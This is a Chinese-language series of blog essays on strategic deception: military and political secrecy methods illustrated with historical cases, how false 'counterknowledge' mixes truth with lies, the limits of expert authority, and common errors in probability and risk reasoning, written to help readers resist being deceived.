拒止措施多种多样，可大致归为几大类：建立安全保密制度 —— 要为您的队友制订安全规则使所有人都具备足够强度的安全意识、物理安全 —— 重要东西/意图存放的地点、数字技术安全 —— 详见菜单“技术防身”、人事安全 —— 取信的技巧，免于对手的渗透。以上是基于反抗者群体而言的。

⚠这里的*安全*指的是采取各种行动，给对手的情报搜集活动制造足够高的障碍。

以下分别解释，基于战略性欺骗的各种措施。如果您的目标是防御并击溃战略性欺骗，了解其手段并反其道而行便可成功。

1、安全保密制度

⚠要成就一项欺骗计划需要大量的工作，然而要使之垮台却非常容易。

一条不合时宜的新闻、一项不断发布的声明、一处小小的漏洞、一个隐藏的间谍……都可能使整个欺骗行动前功尽弃。

因此，建立严格的保密制度是欺骗的第一要素。

严守欺骗秘密的主要措施有以下几种：

- 首先，建立信息知悉权制度，严格限制高级别知情者的人数 —— 也就是IYP曾经强调过的“信任分级”

⚠知情人越少保密效果越好，时间越晚越有利于保密。

非中心级参与者不得知晓任何相关信息，不论是你的家人还是某些重要领导人。

比如情报部门策划的欺骗行动，其参与者/工具是一位外交官，那么该国总统和其他政府官员都会被排除在知情范围之外，该外交官的妻子和孩子也不应该知道任何事。

这就是知悉权制度(need-to-know)。是否拥有接触秘密信息的资格，由秘密信息的法定持有人来决定 [Executive Order 12958, Sec. 4.1]

在古巴导弹危机前，赫鲁晓夫严格限制了知悉范围。米高扬的政治秘书说："讨论一开始就是秘密行动，甚至一些中央委员和部长都不知情。讨论只限制在10 ~ 15人的圈子里进行"。

即使当时的驻美大使和联合国代表也不知情，他们一直坚持说苏联在古巴部署的是防御性武器。

尼克松派基辛格访问中国，连他的国务卿罗杰斯都蒙在鼓里；埃及所有的作战命令在10月5日才传达到营级，而普通士兵是在开战前几个小时才知道这件事的。

> "易其事，革其谋，使人无识" —— 孙子

- 其次，就是杀死透明度革命

任何政府都惧怕透明度革命，因为权力建立在谎言之上；不论其有没有采取战略性欺骗计划。

战略性欺骗是一项系统工程，涉及多个环节，稍不留神就有可能导致欺骗失败。因此除了建立知悉权制度外，欺骗计划的各个环节都必须保密。

1943年8月，盟军最高统帅部参谋部就成立了三军保密委员会"霸王行动小组"，负责起草有关保密规定。

据此于当年9月采取了一项被称为 Bigot List 行动的特别程序，据此规定与突袭目标和时间相关的一切文件只能限于一小批官兵中传达。

1944年春天开始，英国也推行了一系列严格保密措施，政府甚至发起了"乱说会丧命"的宣传运动。

美国空军第九航空部队的军需官亨利米勒少将因为出言不慎，被降级为中校送回美国，巴顿受到警告。

在向古巴部署导弹的过程中，赫鲁晓夫要求所有涉及行动的文件必须手写，如国防部起草的致赫鲁晓夫的报告只有一份，禁止使用任何无线电传输。军队和装备都是在夜间通过火车运输的，其路线和目的地始终保密。沿途禁止发送任何信件和电报。

一旦抵达目的地，所有官兵都被安置在军事基地里，任何人不准外出，直至登船。他们只知道自己要去遥远的海上参加战略演习，其余什么都不知道。

- 保持正常状态，以免被察觉

⚠在进行战略性欺骗的过程中，任何行动都必须出于正常状态，以免引起对手的注意。

第四次中东战争前夕，萨达特总统照常进行访问，并透露将出席10月纽约举行的联合国大会。9月27日，埃及国防部长邀请所有内阁成员参观，向他们介绍总参谋部的组织和工作情况。

9月28日，伊斯梅尔和总参谋长带着一大群人扫墓，而后又在总参谋部举行纪念活动。当晚，沙兹利将军又出席了阿拉伯社会主义联盟一年一度的活动，埃及主流媒体还刊登了总参谋部要求10月到麦加的军官进行登记的消息，以及埃及和罗马尼亚两国国防部长定于10月8日在开罗举行会谈的消息。

当埃及民航总局根据自己对形势的判断于10月4日取消了所有航班并准备把飞机疏散到国外避难时，埃及军官立刻进行了干涉，迫使民航总局撤销了这一命令，飞机次日恢复正常飞行。

直到临战前2小时，埃及前线指挥官还让一些士兵下河游泳，在沙滩上晒衣服，而农民仍在继续日常农活，呈现出一派“和平”景象……

这就是为什么说情报分析和政治评论完全不是一码事。有些评论家认为自己对时局非常敏锐，其分析如情报一般精密，那就太夸张了。政治评论只需要将一切可见的信息预设为真，而情报分析则必须从表面现象中看到背后隐藏的东西。

同时也是替代媒体比企业媒体更大的优势。当企业媒体“如实”转述特朗普涉军命令的时候，替代媒体 democracynow 立刻表示这是不可能的，轰炸不仅不会结束，而且有可能更多。果不其然，很快人们就从卫星图上发现，进入叙利亚的美军车辆是离开此地车辆的数倍。

在这里看到详细解释《让它民主：在真相事业中构想未来图景（上）》《让它民主：替代媒体作为抗争之源（下）》

以上也与我们曾经介绍过的野战技术的思路一致，在这里看到《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》让对手放松警惕，然后忽然改变方向，就能制造措手不及。

- 新闻审查

每个人都知道新闻审查，但这里指的审查不是说不许吐槽，而是消灭透明度的一部分。

这是防止战略性欺骗计划被泄漏的一种措施，主要针对报刊、杂志、广播、电视、网络等媒体。

⚠新闻和情报在要素、内涵、结构、基本要求等方面有诸多共同性，开源情报的来源之一就是新闻，当然，需要经过严格的整理分析才能得出真正的情报。这一分析过程与你常见的那些政治评论截然不同。

历史上，新闻报道让战略性欺骗露馅的案例并不罕见。“芝加哥每日新闻报”在1940年11月以来就报道苏德“不稳固的友谊”和德国大规模的军事部署，明确预言苏联的任何让步都不会迟滞德国的入侵。

海湾战争时期，CNN报道了多国部队在伊拉克的“沙漠风暴”行动，成为全球首脑和舆论界了解实战的主要渠道，以至于有评论称“海湾战争有三个参与者：布什、萨达姆和CNN”。

于是新闻审查成为了当权者最重视的东西。

二战中，美国成立了新闻检查局，并于1942年颁布了《美国报刊战时行为准则》规定了新闻媒体不得刊登的一大堆内容。盟军最高司令部专门设立公共关系处，负责对最高司令部所指挥的作战地带内的新闻、照片、广播，进行严格审查，对该地带可提供新闻界使用的所有通信进行全面控制。

英国取消了大多数记者向海外发稿的待遇，军人和军官的每一个电话、每一封信和电报，都要受到检查。

在伊拉克战争中，美军将战地记者培训为“应急计划”的一部分，来自3个国家、30多家媒体的将近60名文字和摄影记者参加了首批培训。[《盟军最高司令部》]

- 物理安全

物理安全包括两层意思：一是指对战略目标的外貌、声音、气味、状态、电磁波、位置等物理属性进行屏蔽，防止被对手跟踪、打击或摧毁；二是通过物理措施防止对手接触和掌握有关情况，禁止使用存在潜在威胁的设备。

这也是游击队行动尤其重视的。

⚠物理属性是战略目标的“身份信息”，是区别于其他物体的特殊标志。在互联网上它指的就是您的数字足迹，您留下的一切可追踪身份的线索，在这里看到解决方案《自我人肉》《分裂人格的魅力》《角色扮演：行动者刚需》。

要防止千里之堤毁于蚁穴，就需要采取隐蔽和伪装两种措施，要让你的对手不论采取哪种方式都很难找到真相。

在现实对战中，物理安全的第一道屏障是伪装，包括三种具体方法：隐形 **masking**，变形 **repackaging**，和迷惑 **dazzling**。我们介绍过一些简单的方案，详见《隐身游戏：如何在监视遍地的社会里让自己完全消失》《《伪装＋擦除—— 在线隐身的重要步骤》后面我们还将介绍更详细的隐身方法。

隐形和伪装需要对你的对手的情报搜集方法、手段、渠道、侦察设备、能力等情况有一个很好的了解。

⚠在中国大张旗鼓推出“社交媒体舆情分析”的当年，没有任何人认识到这意味着社交媒体情报的重要性，也因此没能及时反应到防御层面。这是非常吃亏的。中国当局的很多举措都没那么保密，但如果人们没能从这些“信号”中得到启示，其结果和保密一样糟糕。

当年印度已经了解到美国侦查卫星的技术特征，知道其经过试验场上空的时间，因此，隐瞒欺骗取得了成功。

无线电通联往往是对手掌握欺骗动向的重要途径，就如社交媒体和加密通信是政府当局针对反对派搜集情报的重要途径（这就是为什么他们一直抵制加密）。

但是要知道，⚠即使无法破解密码以获取通信内容，也可通过无线电侧向、监听无线电信号等措施分析欺骗动向。此处您可以理解为元数据的危险。在这里看到详细解释《无处可藏的数字足迹—亦正亦邪元数据 (上篇)》《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇)》

因此，在欺骗行动中，中断和外界的无线电联系、实施无线电静默是成功达成进攻突然性的保障。

变形就是改变外形，通过减少战略目标的原有特点，增加新特点，使其外观上看上去是另一种事物，不易被对手发现 。

游击队和特工都很常用这种方法。在线情况下，如果你把群组搞成“反抗斗争”之类的主题，或者公开动员，肯定很快会被盯住，导致出师未捷；但如果你使用隐写术，在动员信息隐藏在一张猫咪萌照中，对手就不容易觉察到。关于隐写术的简易方法和须知，详见《隐写术的小心机》。

第四次中东战争爆发后，埃及军队以迅雷不及掩耳之势攻入以色列，突破了以色列精心修筑的巴列夫防线。为扭转局势，以色列军队派出13辆坦克和数辆装甲车作为特遣队，欲潜入苏伊士运河西岸开始反击。

特遣队队员身着埃及军服，讲一口流利的阿拉伯语，骗过了埃及的守桥士兵，顺利度过浮桥，对西岸的埃及后方发起了猛烈攻击，仅用了一天就摧毁了埃及重要的基础设施。以色列由此从战略被动转为了主动。

⚠军事欺骗中的变形需要利用人力和物力资源，但是，战略性欺骗中的变形只需要动动口舌就可以达成目的。

如苏德战前，德军大量出现在东线，这很容易使其与对苏战争联系起来，但希特勒表示，德军出现在东线，只是为了瞒过英国的侦查机构，隐蔽其对英战争的准备。

1956年的苏伊士运河战争期间，在以色列对西奈半岛进行第一次打击后，达扬公开宣称，夺取米特拉通道只是为了实施“报复”，由此给埃及人带来一丝侥幸，从而拖延了埃及的全力反攻。

迷惑，是指混淆、干扰、阻碍、困扰等行为，降低对于某事的真实本质的确定程度，从而达到隐藏的目的。

迷惑通过整体打乱或部分模糊的方法实现。

一战期间，英国皇家海军在其战舰上使用Z字形迷惑性图案，以愚弄德国潜艇指挥官。布莱德雷将军让其无线电网络五次模拟巴顿的第三军行动，使德国人相信巴顿要参加阿登战役的救援。

所有军事密码都属于一种迷惑；隐写术则属于隐形。

下一篇文章将介绍示假措施。隐真只是一半工作，如果你让你的对手什么都看不见，对方肯定会心存疑惑，更加希望深挖你的秘密。这就会令你被置于目标的位置上。

⚠不论是现实中的隐身还是对峙行动中的隐藏，都少不了示假 —— 即 让对手看到错误的情报，并信以为真，以避免对真实情报的兴趣。

—— 未完待续 ——

原文

看起来专业不意味着正确：反知识的迷惑性（4）- iyouport

战略性欺骗-识别和抵制

【2019年10月9日存档】真假参半的谎言最为凶险 —— Alfred Tennyson

我们继续关于欺骗的话题，如果您还没有读过前面的三篇文章，在这里看到：《“让数据说话”只是个唬人的幌子：识破谎言（1）》《数轴有鬼：用数据可视化撒谎很简单（2）》《恶搞统计数据：小心媒体用统计忽悠人（3）》。

以上的主题是数字撒谎，本文开始探讨文字撒谎的情况。

被骗意味着认知弱点被利用。

骗子很擅长捕捉目标人/群体的认知弱点，他们一直专注于研究这些；而作为潜在的受骗者，我们中大多数人对自己的弱点并没有什么了解，这就很危险了。

不能在造成损失后再去总结教训。

欺骗非常常见。人类不仅是一个爱说谎话的物种，而且还具有从众的社会属性，很容易受到其他人观点的左右。

我们获取信息的方式有三种：自己发现、内在吸收、外在地通过他人而得知。

我们对世界的认知大多数都属于最后一种—— 在认知世界过程的某个环节中有人告知我们、或者我们自己阅读得知，所以大多数人所获得的只是二手信息。

我们依靠那些具有专业知识的人来告知。

你没有亲眼见过氢原子和氧原子，但是很多文献都在介绍它们，描述

了相关实验，于是你觉得自己“知道了”，从而相信它们的存在。

想想看你拥有的知识，其中绝大部分都是这样得来的。

你从来没有查证过它们，但是你深信：光速为186000英里/秒、巴氏消毒法真的能够杀死细菌、人体一般有23对染色体、跨越太平洋的海底光缆全长13200公里……

你没有直接得知住宅楼的电梯“性能良好并维修及时”，只是因为广告上这样写着，并附有专家意见；你也没有直接了解到你挂号的医生读过医学院，只是他挂在墙上的资质证上这样写着……维基百科上告诉你的东西99.99%都没有被你亲自验证过，但是你相信它们。

我们中绝大多数人依靠的是专家、认证书、许可证、百科全书和教科书。很多时候它们是有效的。

但是，很显然，这种认知方式也很容易被骗。所以你还需要靠自己，依靠自己的智慧和推理能力。

那些想要骗取你的钱财、操纵你投下不利于自身的选票的说谎者，会试图用虚假的事实来蒙骗你，用没有依据的数字迷惑你，还会用经不起仔细推敲的不相干信息来使你分心。

这些人经常会以专家的面目示人。

💡使用我们前面分析统计数据和图表时所采用的那种方法来分析你遇到的说法与表述，是应对上述情况的正确方法。

要做到这点所需要的必要技能不会超过绝大多数14岁孩子所具备的能力。所以你无需担心自己做不到。

这些技能在法学院和新闻学院里都会讲授，商学院和研究生的科学课程中有时也会教授。但是，对于最需要这些技能的人来说，却很少有机会学习到。

如果你喜欢收看刑事犯罪类电视剧，或者喜欢阅读调查性新闻（包括我们演示的**OSINT**调查技巧），你就会熟悉许多揭穿谎言的技巧——它们与庭审中所做的那种评估类似。

法官和陪审员负责评估相互矛盾的陈述与主张，并试图从中找出真相。对于什么才能算作真正的证据，还有条例可以遵循。尽管有例外情况，但是一般来说未经验证的文件或“传闻”都不被允许用作证词。

假设有人推荐你访问一个音乐网站。该网站称，每天听20分钟莫扎特的音乐会使我们变得更聪明。而另一个网站则表示，这个说法不真实。

很多人都会相信前者。

这里的主要问题在于，人脑常常根据情绪化的想法做出决定，然后再努力为已做出的决定进行辩护。

人的大脑好比是一部非常强大的自我辩白机器。只需要听20分钟美妙的音乐就能使自己的智商排名突飞猛进，这当然再好不过了。

就如很多人相信只要坚持不吃饭就能成功减肥、相信只要弄到枪就能实现民主……等等。事实上远比这要复杂的多。

要评估这些说法还需要做更多努力。

避免得出不正确的结论很有必要，因为即使最聪明的人也会被愚弄。

史蒂夫·乔布斯（SteveJobs）在采纳了“只要改变饮食模式胰腺癌便可自行治愈”的建议之后（由书籍和网站提供的建议），推迟了相关的治疗。当他后来意识到改变饮食的方法并没有任何治疗效果时，早已病入膏肓。

记住这句话很重要：我们大多数人并非总是可以确定信息来源的真实性或准确性。而调查记者、情报分析师、法庭所做的主要工作就是验证。

在这里看到基本验证的思考方式《你知道什么才是真正的*调查*吗？如何验证真伪》。

> 陷我们于困境的并非自己的无知，而是确信无疑之事其实不然。

在故事片《大空头》的开头部分写着上面这句话。这部电影认为这句话的出处是马克·吐温，但事实上却不是。

阿尔·戈尔（AlGore）在他自己出演的影片《难以忽视的真相》（AnInconvenientTruth）中也使用过这句话，而且他同样认为这句话的出处是马克·吐温。

但是，查阅《武器化的谎言》（Weaponized Lies）找不到有任何依

据能够证明马克·吐温曾说过这句话。

两部影片的导演、编剧和制片人都没有做好准备工作—— 他们认为自己确切地知道的事情，却根本不属实。

在网络上略做搜索就能查到《福布斯》杂志上的一篇文章。其中写道，这句话的出处确实被张冠李戴了。

文章的作者奈杰尔·里斯（Nigel Rees）通过查阅美国国会图书馆编纂的一本名言词典《恭敬引用》（Respectfully Quoted）得出了这一结论。

事实上这句话是 Josh Billings 说的。

Rees 写道，“你瞧，马克·吐温是比 Josh Billings 更有名的幽默家，所以那句话的出处就转移到马克·吐温头上了。”

沃尔特·蒙代尔（*Walter Mondale*）在*1984*年的一场总统竞选辩论中提出：“我想起了威尔·罗杰斯（*Will Rogers*）曾经对胡佛做过的评价。他说‘让我烦恼的并不是他的无知，而是他确信自己知道的事并不属实’。”

当面对全新或自相矛盾的表述时，人们通常会很好地参考和借鉴专家的观点和看法。那么，如何辨识专家意见？

这里指的是真的专家，而不是伪装的砖家。真正的专家也是存在问题的。

专家的两种表述方式截然不同

在评估权威人士的意见时，首先要问问自己：谁或什么使他们具有了权威性。

如果权威性来自他们曾经见证了某些事件，那么这些见证又有多大的信服力？

再崇高的权威也一定会出错。21世纪初，美国政府就曾误认为伊拉克存在大规模杀伤性武器；科学家们曾经都认为人类的染色体数量为24对，而不是23对……

因此，参考社会公认权威的说法并不是评估某种表述的最后一个步骤，反而只是一个开始。

一般来说，专家这个称呼专指这些人：接受过特殊培训的人、花费了大量的时间来拓展专业知识的人（如医生、飞行员、音乐家和运动员等），以及那些能力和知识被认为与其他人密切相关的人。

专家们的谈话方式有两种，在第一种谈话方式中，他们回顾事实和证据，将其综合形成一种基于证据的结论。

在这个过程当中，他们向你说明什么是证据，为什么它们具有相关性，以及这些证据怎样能够帮助他们得出结论。

这时候你只需要小心是否有不是证据的信息被掺杂其中了。在这里看到如何判断什么是证据。

科学理应遵循这种方式，法庭审判也应当采用这种方式，而且最佳的商业决策、医疗诊断和军事战略的制定都应当采取这种方式。

而第二种谈话方式中，⚠专家只和他人分享观点。这是非常值得警惕的。

要知道专家也是人，他们也具有容易被骗的人性弱点；他们还有可能因接受了金钱贿赂而仅仅为某一利益方说话。

权威专家和科学家为大众编写的书籍和撰写的文章经常包含那种狂放不羁、天马行空的臆测，而人们之所以能够欣然接受，只是因为作者的专业知识和修辞给人们留下了深刻的印象。

专业知识可以说是一种社会性的判断，我们经常会比较的是一个人的技能和世界上其他人的技能水平。

具备相似培训水平和专业知识的专业人士不一定赞同彼此的观点。即便能够达成一致意见，他们的观点也不会总正确。

成千上万的专业财务分析员所做的股票行情预测完全错误，而少数的行业新人反而能做到正确预测；就如我们在《战略性欺骗》系列中所分析的，资深级的情报分析师往往有严重的思维固化，他们更加难以发现新手很容易发现的逻辑漏洞。

专家有什么问题？

专业知识意味着更窄的知识面。

去年开始中国国社要求被约稿人必须带有足够高的头衔，比如名校、

专家身份、领域知名身份等等；这点可能也是所有商业媒体所追求的。

⚠头衔之所以能成为吸引流量的重要诱饵 —— 而不是内容本身 —— 正因为大多数人都会下意识地视专家头衔为全能，事实上远远不是如此。

当你看到纽约时报中文专栏中充满愚蠢的观点和完全没有证据的论断时就能明白这个道理；或者更简单的是，看看社交媒体上的大V们是怎么出洋相的。

头衔和奖项可能意味着此人在相关一个领域有所建树，但是，绝对不代表此人在任何领域都是明白的。

作为三位晶体管发明者之一的 William Shockley 获得了诺贝尔物理学奖。后来，他所大力宣扬的种族主义观点之所以能够在社会上站住脚，正是因为人们被诺贝尔奖的光环忽悠了，误认为能拿到此奖的人肯定知道一些其他人不知道的事。

世界上最优秀的丰田汽车修理工有可能无法为你的大众汽车做出有效的故障判断；最优秀的税务律师也许也无法给出违约诉讼方面的最佳建议 ……

最重要的在于诚实。作为专家本身，他们应该诚实地告诉人们他们做不到什么；但是，尤其是在互联网上，他们经常被光环所蒙蔽，追热点的个人营销热情导致他们参与了很多他们自己并不熟悉的领域，也因此骗了很多人。

反知识

英国记者达米安·汤普森（DamianThompson）创造了“反知识”一词，用来指那些经过包装之后表面看似真实但实际上是错误的信息。

科学、时事新闻、明星八卦和伪科学中都有这方面的例子。

反知识包括缺少支撑性证据的表述和那些虽有证据但却与其相矛盾的表述。

反知识不总是阴谋论，虽然有些时候是。

英文媒体说，在中国“少有人 了解30年前的6月初发生了什么”。这是根据网络封锁和信息封锁的严重性推断出来的。但这可能不是事实。

多年前开始，中国的大型门户网站内部就在6月初组织员工观看一部纪录片，那是官方角度拍摄的记录6月4日发生的事，其镜头和解说在为官方的暴行做申辩（官方将暴力归为民众）。

但是民间缺乏如此充分的独立记录，或许源于当时人们没有智能手机 —— 记录事实的权力是不对称的。这也是为什么6月时我们将网站的置顶文章调整为《公民取证技巧：如何留住真相？》、《保存真相的技术技巧》、《拍摄取证的步骤和技巧》。

掌握这些技巧在任何时候都能拿出证据以揭露谎言。

简单说，人们并不是不知道发生了事件，而是会以不同的理解方式来认识这件事。

因为看过那部官方拍摄的纪录片的人会受到反知识的困扰。

反知识无处不在，⚠而且比真相更容易被传播。其中《人格暗杀》的操作是 一个典型。

帮助反知识传播的一部分推动力正是这样的诡计 —— 即 激发人们去想象“万一它是真的呢”。

很多反知识一开始就能吸引人们，所凭借的正是利用数字和统计数据装扮出来的一种*知识的外衣* —— 正如前三篇文章中所分析的。

但深入研究就能发现，这些反知识实际上根本没有根据—— 反知识的传播者希望的就是通过数字的呈现使你对它们产生足够的印象（或者惧怕），从而盲目地接受它们。

记者 Damian Thompson 报道了这些反知识表述如何能站住脚、如何惹恼我们，使我们对已知事物产生怀疑……也就是说，这个过程直到我们运用理性分析时才会结束。

Thompson 回忆了一位朋友讲起美国“9·11”恐怖袭击。

“他用一番看似合理的言论抓住了我们的注意力，‘请从垂直方向观察纽约世贸中心双子塔的倒塌过程，而不要从侧面观察。飞机燃料不会产生足以熔化钢筋的热量，只有受控爆炸才能做到这一点’”。

听起来像专家一样？

但事实上是这样的：

双子塔从垂直方向轰然坍塌，这是真实情况，人们看到过视频剪辑内容。假如那次袭击所采用的方式如他们所说的那样，你就会看到该建筑物倾倒：这一点并无明确的说明，属于隐藏前提。

我们无从知晓它是否属实。仅仅由于说话者做了肯定的宣称并不意味着它就真实。还需要进一步证实这个表述。

飞机燃料不会产生足以熔化钢筋的热量：我们同样不知道这句表述真实与否。而且，它还忽略了其他易燃物—— 清洁用品、油漆、工业化学品—— 它们可能就存放于双子塔里面，所以这些易燃物一旦着火势必会火上浇油。

如果你不是专业结构工程师，也许会觉得这些假设前提似乎合理。但稍微查看一下资料就会发现，专业结构工程师并没有发现双子塔的倒塌有什么神秘之处。

一种解释或理论所具有的些许漏洞并不会破坏其本身的可信度。一

已经确立的理论具有成千上万的支撑性证据，少量未做解释的异常现象并不会破坏或减少它的可信度。

但这些异常现象一般都占据所有阴谋思维的核心位置，比如大屠杀修正主义、反进化论主义，以及“9·11”恐怖袭击事件阴谋论。

用反知识骗人

就如我们的“战略性欺骗”中所强调的，欺骗的最佳方式绝不能是完全虚假，必须有部分真实，这样才更容易让对方上当。

如果你想用反知识来欺骗人们，可以采用这样一种有效的手段：使用大量可以核实的事实信息，然后在其中加入一两个虚假信息。

你所使用的那些真实的信息可以给人们提供真相；如果有任何人去搜索他们也一定会确认为真。

所以，你只要增添一两个虚假信息来表达你的观点，很多人就会赞同你。

因此，当你想要说服他人时，就可以采用这种把伪造事实或反知识与真实事实和实际知识结合在一起的方式。

比如这样：# 水是由氢元素和氧元素构成的。

- 水的分子式是H2O。
- 我们的身体由60%的水分构成。
- 人类血液的92%都是水分。
- 大脑含有75%的水分。
- 世界上很多地方都有受到污染的水。
- 世界上的可用水源只有1%可以饮用。
- 如果你买了瓶装水，那么你唯一可以肯定的就是你的饮用水的品质很高。
- 主流健康研究人员建议人们饮用瓶装水，并且大多数人都在饮用瓶装水。

上述推理过程中的前7个论断都属实。第八条论断在逻辑上并没有遵循整个推理过程的逻辑，而第九条论断……谁是主流健康研究人员？他们自己饮用瓶装水的含义是什么？

事实上在发达国家瓶装水不比自来水更安全和健康，这是有大量调查作为证据的。

相反，如果你不想被骗，就需要时刻警惕这种手段。

⚠当证据本身不完整时这种手段最为高效。当权者经常使用不完整的证据来支持他们的谎言。就如中国官方的“64纪录片”。

这就是为什么透明度革命尤其重要；审查封锁和算法暴政尤其致命。只有我们拿到充分的证据才能反驳。

顺便推荐一本书《Counterknowledge: how we surrendered to conspiracy theories, quack medicine, bogus science and fake history》。

最后送您一个娱乐性的小片子，关于你的眼睛如何欺骗你。

下面这张图中所有纸都是平放在桌面上的，并没有树立起来。但是第一眼看上去就像是立体的：

下面的片子中介绍了这种欺骗眼睛的做法：

—— 未完待续 ——

原文

编造概率和编造风险：欺骗者如何利用你的思维漏洞（5） - iyouport

战略性欺骗-识别和抵制

【2019年11月14日存档】大自允许我们计算的只有概率。然而科学尚未崩塌 —— Richard Feynman

我们继续关于欺骗的话题（准确说是防骗）。

如果您还没有读过本系列前面的四篇文章，在这里看到：

- 《“让数据说话”只是个唬人的幌子：识破谎言（1）》
- 《数轴有鬼：用数据可视化撒谎很简单（2）》
- 《恶搞统计数据：小心媒体用统计忽悠人（3）》
- 《看起来专业不意味着正确：反知识的迷惑性（4）》

人的大脑就像一部巨大的模式探测器，它力求从往往看似随机的布局中提取秩序和结构。

很多人喜欢看星星，但你有没有想过，我们之所以能从夜空中看到“猎户座”，并不是因为这些星星就是以某种形式组织在一起的，而是，人类的大脑能够把某种模式投射到散乱无序的事物当中。

掌握这点的骗子是非常容易得手的。

更普遍的例子，比如，当你想念某位朋友的时候，那位朋友就“恰好”打电话来。

想必很多人都遇到过这种巧合，它令你惊喜。

正因为巧合令人惊喜，所以大脑就对它留下了深刻印象。

但是，当你没有想到那个人的时候，那个人打电话来了，大脑就不会永远保留这样的印象。

还有更多类似的案例。是否有人仔细分析过它们呢？因为，理清这一问题是防骗的关键。现在我们来试一试。做一个四重表。

假设你在周末接到了20个电话，其中两个电话是长时间没有联系过你的朋友打来的。你之前有一阵子没想到过他们了。

但就在你开始想他们时，他们在10分钟之内就打来了电话。

以上这些信息就构成了四重表上第一行的内容：20个来电、其中2个是你的“超感觉信号”召唤来的，另外18个你没有“召唤”。

等一下……我们还需要填写这个四重表下面一行的内容：你想念人们但人们并没打电话给你的情况有多少次？；和，你没有想念他们并且他们也没有打电话给你的情况又有多少次？

这才是关键部分。因为基本没人会去想这些问题。这正是骗子得手的微妙之处。

为了填写这个表格的其他部分，我假设一周之中你想念他人的总次数为52次，一周中没有想念他人的总次数为930次（将一周的168小时分割为10分钟的小片段，总计大约就是980次想念）。

现在我们已经知道，其中有50次属于人们没有打电话给你的情况（2次打电话），所以剩下的930次就是你在想其他事而不是想人的次数。

也许这里的估计有点保守，但是把任何你想要的合理数字放在这里都同样能说明问题 —— 您可以自己试一下。

如上面的表格，大脑真的只会注意到左上部的方格，而忽略掉其他3个方格 —— 这对于逻辑的培养非常有害，但却能鼓励奇幻的思维。关于这点的详细分析见：《解释无法解释的行为心理学：当逻辑失败，迷信到来》。

在你订机票去拉斯维加斯玩俄罗斯轮盘赌之前，可以先玩一个数字游戏。

假设你刚才想念了某个人，那么他给你打电话的概率是多少呢？：大概是2/52 或4%。就是这样。

当你想念某人的时候他恰好给你打电话的概率是4%。这给人的印象还不算太深刻。

当这种巧合发生时，有什么可以用来解释4%的概率呢？

物理学家可能会援引你的四重表中的1000个事件，并且指出其中只有两个事件（0.2%）看似比较“怪异”，所以你应该把它看作偶然事件。

社会心理学家可能想要知道，是否存在着某些外部事件，它们导致你和你的朋友互相想念对方，才引起了打电话的行为。

你一定读过基督城恐怖袭击事件的新闻报道；你想起了几年前和同学经常谈论去新西兰旅行的事。关于恐袭的新闻让你感觉惊讶。正因为你的朋友和你都记得当年关于新西兰旅行的交谈，这就是此时他打电话给你的原因 —— 通过这份记忆想起了你。

这就是错觉关联。

错觉关联是行为遗传学家就行为融合这种奇怪现象而提出的一种标准化解释。

大脑对上述表格中的左上部方格非常痴迷，就如对双胞胎兄弟的共同点非常关注；但却对不同点视而不见。

很多骗子在利用这点控制你的思考方式，为他们所用。

为了避免被欺骗，您可以利用这个四重表反驳任何逻辑缺失的误导。

编造概率

你在巴黎出差，站在蒙娜丽莎的画像前，忽然一个熟悉的声音叫出了你的名字。

抬头一看，是多年前的舍友张三。

“真是难以置信啊，这可是巴黎，我们居然在蒙娜丽莎的画像前相遇了，这样的事发生的概率是多少！一定是几千万分之一吧！”

是的，在蒙娜丽莎“面前”遇到老舍友的概率有可能是几千万分之一（准确计算很难，但可能性微乎其微是肯定的）。

但是，这种编造概率的做法却靠不住。

可以退一步思考这个问题。

假如你和张三相遇的地点不是蒙娜丽莎画像前，而是维纳斯前呢？或

者在酒店大厅？卫生间？咖啡馆？或者埃菲尔铁塔脚下？情况又会如何？

你同样会感到他乡遇故知的惊喜，与蒙娜丽莎面前的感受分毫不差；这种偶遇又为什么只能限于巴黎呢？它完全可以发生在马德里的出差途中、克利夫兰转机的机场上、图森的温泉浴场里……

请用这种方式重新表述以上事件的概率：你会在自己意料之外的任何地方与你认识的人相遇。很明显这种相遇感觉很好，但是人的大脑并不会主动这样去思考。

认知科学已经表明，通过培训使自己避免这种拖泥带水的思维方式有多么重要。不论是政治还是经济方面，骗子最擅长利用这点对你下手。

编造风险

如上，偶遇的例子只是编造概率中一个最无害的例子。但是，要知道。编造概率可以非常危险，因为它阻止你对风险做出理性的分析。

最著名的例子是：飞机恐惧。

即便把911事件都算进去，乘坐飞机仍然是相对最安全的交通方式。铁路安全性紧随其后。

尽管如此，911事件后很多人都会在出行时避免乘坐飞机，甚至宁可选择高速公路的汽车旅行。正因此，在911后几个月内，美国死于汽车事故的人数急剧飙升。

因为人们只能用直觉去感受，而非理性分析，于是无法知道自己承担的风险其实是增加了而非减少。

新闻故事中误导性的文字比比皆是。随便搜索你就会看到这样的文字：“2014年死于飞机事故的人比1960年时更多”。

读到这句话的人也许倾向得出结论：乘坐飞机已经“更加不安全了”。

虽然这条统计内容正确，但是，它不具有相关性。

如果你想弄清楚的问题是乘坐飞机的安全性，那么统计死亡总数并不能给你想要的答案 —— 你应该做的是统计死亡率。

即 每英里飞行距离的死亡人数，或每次飞行的死亡人数，抑或相当于统计单位基准的其他内容。

虽然1960年时的航班数量没有现在多，但毫无疑问，那时候的风险更大。

同样逻辑，你可以说，在高速公路上，下午5点～7点比凌晨2点～4点死亡人数更多；所以“你应该避免在下午5点～7点出行”。

但实际上，选择在下午5点～7点出行的总人数是选择在凌晨2点～4点出行的总人数的好几倍，却被忽略了 —— 你应该做的是分析死亡率，而不是原始数字。

死亡率会告诉你，凌晨2点～4点更危险，很可能与酒驾或疲劳驾驶相关。

巴黎恐袭发生后，CNN说，“在整个欧洲反难民情绪不断高涨的背景下，进入欧盟国家的恐怖分子至少有一半是难民身份；长久以来，欧洲反难民积极分子都在呼吁欧盟实施更严格的边界管控政策……”。

本文不关心社会和政治，但数字可以更好地说明问题。

巴黎恐袭死亡人数130人；如果不允许被战火蹂躏的地区高达数百万难民跨越边界，毫无疑问会造成至少数万人失去生命。对于那些对数字无感的人来说，诸如“难民中只要有一名是恐怖分子”这样的标题非常容易点燃反移民人群的情绪，同时忽略了移民政策也挽救过很多人的生命。

恐怖分子期望你相信的谎言就是：你此刻正在面临被灭亡的险境。

这就是编造风险。这种欺骗的使用非常普遍。尤其是营销方面。

比如你收到了一家生产家庭用监视摄像头公司发来的推销邮件，其中基本会有这样一句话：“90%的入室抢劫案都依靠业主提供的监视视频得以破获”。

听起来很棒吧，多有实证性啊是吧？

